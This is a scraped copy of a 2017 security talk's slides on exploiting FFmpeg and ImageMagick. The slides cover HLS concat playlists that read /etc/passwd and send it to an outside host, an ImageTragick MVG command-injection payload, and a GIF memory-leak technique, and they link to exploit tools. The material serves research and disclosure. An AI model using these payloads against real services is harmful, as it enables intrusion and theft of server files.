ffmpeg& imagemagick - 2017. · pdf file#extm3u #ext-x-media-sequence:0 #extinf:10.0,...

Post on 07-Feb-2018

221 Views

Category:

Documents

1 Downloads

Preview:

Click to see full reader

TRANSCRIPT

FFmpeg &ImageMagickexploitation

NikolayErmishkinMail.Ru

•Libraryandutilityforvideoencoding

FFmpeg

Convertvideo

Generatepreview

•Youcansetanyextension(mp4toavi etc)

Contentsniffing*

FFmpeg versionfingerprinting

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://example.org/video.mp4#EXT-X-ENDLIST

hls

DEMO

concat:file:///video1.mp4|file:///video2.mp4

concat

concat:http://yngwie.ru/header.m3u8|file:///etc/passwd

concat

concat:http://yngwie.ru/header.m3u8|file:///etc/passwd#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:,http://yngwie.ru?root:x:0:0:root:/root:/bin/bash…

concat

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://yngwie.ru/header.m3u8|file:///etc/passwd#EXT-X-ENDLIST

concat

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://yngwie.ru/header.m3u8|file:///etc/passwd#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:,http://yngwie.ru?root:x:0:0:root:/root:/bin/bash…#EXT-X-ENDLIST

concat

DEMO

SSRF

CVE-2016-10191– https://trac.ffmpeg.org/ticket/5994

RCE

https://github.com/ffmpeg-test/ffmpeg-test

Automate

AllowstoinsertanysupportedfileinsideAVI,forexamplehlshttps://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.p

GAB2

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,

file:///some/txt/file.txt#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,file:///etc/passwd#EXT-X-ENDLIST

txt

ImageMagick isasoftwaresuitetocreate,edit,compose,orconvertbitmapimages

ImageMagick (GraphicsMagick)

Convert

Identify

•Youcansetanyextension(jpgtopng etc)

Contentsniffing*

pushgraphic-contextviewbox 00100100fill'url(http://example.org/image.jpg)'popgraphic-context

MVG

<delegatedecode="svg"command="&quot;rsvg&quot;-o&quot;%o&quot;&quot;%i&quot;"/>

delegates.xml

pushgraphic-contextviewbox 00100100fill'url(https://example.org/oops.jpg"&&CMD_INJECTION)’popgraphic-context

<delegatedecode="https"command="&quot;curl&quot;-s-k-L-o&quot;%o&quot;&quot;https:%M&quot;"/>

ImageTragick

FacebookwasvulnerabletoImageTragick 5monthsafterpublicdisclosehttp://4lemon.ru/2017-01-17_facebook_imagetragick_remote_code_execution.html

ImageTragick

• 121CVEwithCVSS>5sinceImageTragick (6-7permonth)• Hardtoexploit

BinaryBugs

Yahoobleed – https://scarybeastsecurity.blogspot.ru/2017/05/bleed-continues-18-byte-file-14k-bounty.htmlOldrarelyusedformat- RLE.

MemoryLeak

CVE-2017-15277 – memoryleakinGIFparser

MemoryLeak

•256colors•Pallette (256*3=768byte)

•Whatifleftempty?

GIF

MemoryLeak

Simplescripttoexploit– https://github.com/neex/gifoeb1. Generateimage2. Uploadittoservice3. Downloadconvertedimage4. Decodeconvertedimage

MemoryLeak

DEMO

DEMO

top related